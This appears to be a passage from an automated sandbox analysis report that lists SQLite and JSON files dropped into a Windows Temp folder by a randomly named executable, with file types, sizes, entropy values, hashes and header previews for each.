                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\HVD9UYUrrN

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\HfY3lcbjpS

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\IPCcicaIzW

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\IQq1DqAon6

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\IRc8GbU2GV

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\ITp7nm4RXm

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\IXdGdJc0Nt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\IstyJCfZo8

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\J5KWtpUil3

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\J66Pz5qYos

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JDWCnzQ6BR

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JLgtcPyU4T

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JTOQdGL6gB

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JUHerWS4EF

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JUt67WNwbF

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Jr3lwAKJxr

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JvzR7xiDW6

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Jyq2zapGZp

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\JzHJk8Srb4

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\K6JdqYgHux

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\K98AjpAo5e

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\KJ1CWEfYZ0

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\KMe9K4AWmC

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Karu0SOkSL

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Kfzx7G7g7l

                                                            Download File
